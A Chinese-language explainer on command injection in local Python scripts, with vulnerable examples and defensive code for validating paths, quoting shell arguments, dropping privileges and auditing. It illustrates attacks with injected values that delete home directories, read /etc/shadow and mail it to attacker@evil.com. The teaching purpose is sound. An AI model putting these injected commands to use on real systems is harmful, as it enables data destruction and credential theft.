本地Python脚本是否存在命令注入风险

是的，本地Python脚本依然存在严重的命令注入风险！

核心观点

命令注入风险与脚本是否是本地还是Web无关，而与输入来源的可信度有关。只要脚本使用了不可信的用户输入来构造命令，就存在注入风险。

风险来源分析

1.用户输入来源（即使本地脚本）

# 来源1：命令行参数 import sys user_input = sys.argv[1] # 可被攻击 # 来源2：配置文件 import configparser config = configparser.ConfigParser() config.read('config.ini') user_input = config.get('section', 'option') # 配置可能被篡改 # 来源3：环境变量 import os user_input = os.environ.get('USER_PROFILE') # 环境变量可被设置 # 来源4：用户交互 user_input = input("请输入配置路径: ") # 直接交互 # 来源5：读取文件 with open('user_input.txt', 'r') as f: user_input = f.read() # 文件可能被修改 # 来源6：网络来源（即使本地脚本也可能访问网络） import requests user_input = requests.get('http://internal/config').text # 网络数据不可信

2.本地脚本攻击场景

场景1：恶意用户执行脚本

# 脚本文件：cleanup.py import sys import subprocess folder = sys.argv[1] # 用户输入 cmd = f"rm -rf /tmp/{folder}" # 危险！ subprocess.getstatusoutput(cmd) # 攻击者执行： # python cleanup.py "important_folder; rm -rf /home/user; echo 'attacked'"

场景2：配置被篡改

# 脚本读取配置文件 import configparser import subprocess config = configparser.ConfigParser() config.read('settings.ini') db_host = config.get('database', 'host') # 执行数据库命令 cmd = f"mysql -h {db_host} -u root -p" subprocess.getstatusoutput(cmd) # 风险：db_host可能被设置为恶意值 # settings.ini可能被修改为： # [database] # host = "localhost; cat /etc/shadow | mail attacker@evil.com; echo '"

场景3：提权攻击

# 脚本以root权限运行（如cron job） import subprocess import os # 检查当前用户配置 user = os.getenv('USER') cmd = f"cat /home/{user}/.ssh/id_rsa" # 假设脚本以root运行 subprocess.getstatusoutput(cmd) # 攻击：设置USER环境变量 # export USER="../../etc/shadow" # 脚本会尝试读取 /home/../../etc/shadow → /etc/shadow

3.自动化攻击途径

# 攻击者可以通过多种方式利用本地脚本： # 1. 修改配置文件 # 2. 设置环境变量 # 3. 通过其他漏洞注入恶意输入 # 4. 社工攻击诱导管理员执行特定参数 # 5. 通过共享文件系统修改输入文件

完整风险评估

风险矩阵（本地脚本）

攻击向量	可能性	影响	总体风险
恶意用户直接执行	高	极高	⭐⭐⭐⭐⭐
配置/文件被篡改	中	高	⭐⭐⭐⭐
环境变量注入	中	高	⭐⭐⭐⭐
提权攻击	中	极高	⭐⭐⭐⭐⭐
供应链攻击	低	高	⭐⭐⭐

攻击者能力

✅控制输入参数：通过命令行、配置文件等
✅篡改依赖文件：修改脚本读取的文件
✅设置环境变量：通过包装脚本或shell配置
✅利用其他漏洞：结合其他漏洞进行链式攻击
✅持久化访问：通过植入后门或定时任务

安全验证：你的具体场景

分析你的代码片段：

cmd = "source {0} && gs_om -t query".format(userProfile) (status, output) = subprocess.getstatusoutput(cmd)

1.风险来源

# userProfile 可能来自： # 1. 命令行参数：python script.py /path/to/profile # 2. 配置文件：userProfile = config.get('path') # 3. 环境变量：os.environ.get('PROFILE_PATH') # 4. 硬编码：userProfile = "/etc/default/gs" # 5. 计算得出：userProfile = f"/home/{user}/.profile" # 只要是前三种来源，就存在风险！

2.攻击示例

# 假设 userProfile 来自命令行参数 # 攻击者执行： # python script.py "/etc/profile; rm -rf /tmp/important; #" # 实际执行命令： # source /etc/profile; rm -rf /tmp/important; # && gs_om -t query # 会删除 /tmp/important 目录

3.即使是可信来源也需要验证

# 假设 userProfile 来自配置文件 # 但配置文件可能： # 1. 被其他用户修改（权限设置不当） # 2. 被其他恶意软件修改 # 3. 通过网络共享被远程修改 # 4. 在版本控制中被恶意提交

安全防护方案

方案1：最小权限原则

import os import pwd import grp def drop_privileges(user='nobody'): """降低运行权限""" if os.getuid() != 0: return # 不是root，无需降权 try: # 获取目标用户信息 user_info = pwd.getpwnam(user) group_info = grp.getgrnam('nogroup') except KeyError: user_info = pwd.getpwnam('nobody') group_info = grp.getgrnam('nogroup') # 切换到非特权用户 os.setgid(group_info.gr_gid) os.setuid(user_info.pw_uid) # 限制文件创建掩码 os.umask(0o077) # 在脚本开始处调用 drop_privileges()

方案2：输入验证和净化

import os import re def validate_profile_path(path): """严格验证配置文件路径""" # 1. 必须是绝对路径 if not os.path.isabs(path): raise ValueError("Path must be absolute") # 2. 不允许目录遍历 if '..' in path: raise ValueError("Path traversal not allowed") # 3. 限制字符集 if not re.match(r'^/[a-zA-Z0-9_\-./]+$', path): raise ValueError("Invalid characters in path") # 4. 必须存在且是普通文件 if not os.path.exists(path): raise ValueError(f"Path does not exist: {path}") if not os.path.isfile(path): raise ValueError(f"Not a regular file: {path}") # 5. 权限检查（不是世界可写） mode = os.stat(path).st_mode if mode & 0o002: # other write bit raise ValueError(f"Insecure permissions: {oct(mode)}") # 6. 路径规范化检查 real_path = os.path.realpath(path) if real_path != os.path.abspath(path): raise ValueError("Path contains symlinks or irregularities") return path def safe_get_profile_path(): """安全获取配置文件路径""" import sys sources = [ # 按优先级检查 lambda: os.environ.get('GS_PROFILE_PATH'), lambda: sys.argv[1] if len(sys.argv) > 1 else None, lambda: read_config_file('settings.ini'), ] for source in sources: path = source() if path: try: return validate_profile_path(path) except ValueError as e: print(f"Warning: Invalid path from source: {e}") continue # 默认路径 default_path = "/etc/default/gs" return validate_profile_path(default_path)

方案3：安全执行命令

import subprocess import shlex def safe_source_and_query(profile_path): """安全执行source命令和查询""" # 1. 验证路径 profile_path = validate_profile_path(profile_path) # 2. 安全转义 safe_path = shlex.quote(profile_path) # 3. 使用参数列表，避免shell cmd = [ "bash", "-c", f""" set -euf -o pipefail # 严格模式 if [[ -f {safe_path} ]]; then source {safe_path} else echo "Profile not found" >&2 exit 1 fi exec gs_om -t query """ ] # 4. 执行命令 result = subprocess.run( cmd, capture_output=True, text=True, timeout=30, shell=False # 重要：不使用shell参数 ) return result.returncode, result.stdout

方案4：监控和审计

import logging import hashlib import time class SecureCommandExecutor: """安全命令执行器，带审计""" def __init__(self, audit_log="audit.log"): self.logger = logging.getLogger(__name__) self.audit_log = audit_log def execute_with_audit(self, cmd_func, *args, **kwargs): """带审计的执行""" audit_id = self._generate_audit_id() # 记录开始 self._log_audit_start(audit_id, cmd_func, args, kwargs) start_time = time.time() try: # 执行命令 result = cmd_func(*args, **kwargs) execution_time = time.time() - start_time # 记录成功 self._log_audit_success( audit_id, execution_time, result ) return result except Exception as e: execution_time = time.time() - start_time # 记录失败 self._log_audit_failure( audit_id, execution_time, e ) raise def _generate_audit_id(self): import uuid return str(uuid.uuid4()) def _log_audit_start(self, audit_id, cmd_func, args, kwargs): log_entry = { 'timestamp': time.time(), 'audit_id': audit_id, 'event': 'command_start', 'function': cmd_func.__name__, 'args': str(args), 'kwargs': str(kwargs), 'user': os.getenv('USER', 'unknown'), 'pid': os.getpid(), } self.logger.info(json.dumps(log_entry)) def _log_audit_success(self, audit_id, exec_time, result): log_entry = { 'timestamp': time.time(), 'audit_id': audit_id, 'event': 'command_success', 'execution_time': exec_time, 'return_code': result[0] if isinstance(result, tuple) else None, } self.logger.info(json.dumps(log_entry)) def _log_audit_failure(self, audit_id, exec_time, error): log_entry = { 'timestamp': time.time(), 'audit_id': audit_id, 'event': 'command_failure', 'execution_time': exec_time, 'error': str(error), } self.logger.error(json.dumps(log_entry)) # 使用示例 executor = SecureCommandExecutor() def main(): profile_path = safe_get_profile_path() result = executor.execute_with_audit( safe_source_and_query, profile_path ) return result

综合防御策略

1.深度防御（Defense in Depth）

class SecureSystemScript: """安全系统脚本基类""" def __init__(self): # 第1层：运行时保护 self._setup_runtime_protection() # 第2层：安全配置 self._load_secure_config() # 第3层：输入验证 self._validate_inputs() # 第4层：最小权限 self._drop_privileges() # 第5层：资源限制 self._set_resource_limits() # 第6层：审计日志 self._setup_auditing() def _setup_runtime_protection(self): """运行时保护""" import sys import resource # 防止内存耗尽 resource.setrlimit(resource.RLIMIT_AS, (100 * 1024 * 1024, 100 * 1024 * 1024)) # 防止文件描述符耗尽 resource.setrlimit(resource.RLIMIT_NOFILE, (100, 100)) # 设置安全随机种子 import random random.seed() def _load_secure_config(self): """安全加载配置""" # 使用签名验证配置文件 config_file = self._find_config_file() if not self._verify_config_signature(config_file): raise SecurityError("Configuration signature verification failed") self.config = self._parse_config_safely(config_file) def _validate_inputs(self): """验证所有输入""" # 验证命令行参数 self._validate_argv() # 验证环境变量 self._validate_env_vars() # 验证文件输入 self._validate_file_inputs() def _drop_privileges(self): """降低权限""" if os.getuid() == 0: # 切换到非root用户 self._switch_to_unprivileged_user() def _set_resource_limits(self): """设置资源限制""" import resource limits = [ (resource.RLIMIT_CPU, (30, 30)), # 30秒CPU时间 (resource.RLIMIT_CORE, (0, 0)), # 禁止core dump (resource.RLIMIT_NPROC, (50, 50)), # 最大50个进程 ] for limit, value in limits: try: resource.setrlimit(limit, value) except (ValueError, resource.error): pass def _setup_auditing(self): """设置审计""" import logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('/var/log/secure_script.log'), logging.StreamHandler() ] ) self.logger = logging.getLogger(__name__)

2.安全开发实践

# 安全脚本模板 #!/usr/bin/env python3 """ 安全脚本模板 - 遵循安全最佳实践 """ import os import sys import argparse import logging import subprocess import shlex # 添加项目根目录到路径 sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from security_utils import ( validate_input, drop_privileges, safe_command_execute, audit_logger, ) def parse_args(): """安全解析命令行参数""" parser = argparse.ArgumentParser( description='安全脚本示例', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" 安全要求: - 所有输入必须验证 - 使用最小权限执行 - 记录所有操作 - 设置执行超时 """ ) parser.add_argument( '--profile', required=True, help='配置文件路径', type=validate_input.validate_file_path # 使用验证函数 ) parser.add_argument( '--user', default=os.getenv('USER', 'nobody'), help='执行用户', type=validate_input.validate_username ) parser.add_argument( '--timeout', type=int, default=30, help='命令超时时间(秒)', choices=range(1, 300) # 限制范围 ) return parser.parse_args() def main(): """主函数""" # 初始化 args = parse_args() logger = audit_logger.setup_logger() # 记录开始 logger.info(f"Script started with args: {sys.argv}") try: # 降低权限 drop_privileges.switch_user(args.user) # 安全执行命令 cmd = f"source {shlex.quote(args.profile)} && gs_om -t query" returncode, output = safe_command_execute.execute( cmd, timeout=args.timeout, shell=True, # 必须使用shell时 logger=logger ) # 记录结果 logger.info(f"Command executed, returncode: {returncode}") if returncode == 0: print(output) return 0 else: logger.error(f"Command failed: {output}") return 1 except Exception as e: logger.error(f"Script failed: {e}", exc_info=True) return 2 if __name__ == "__main__": sys.exit(main())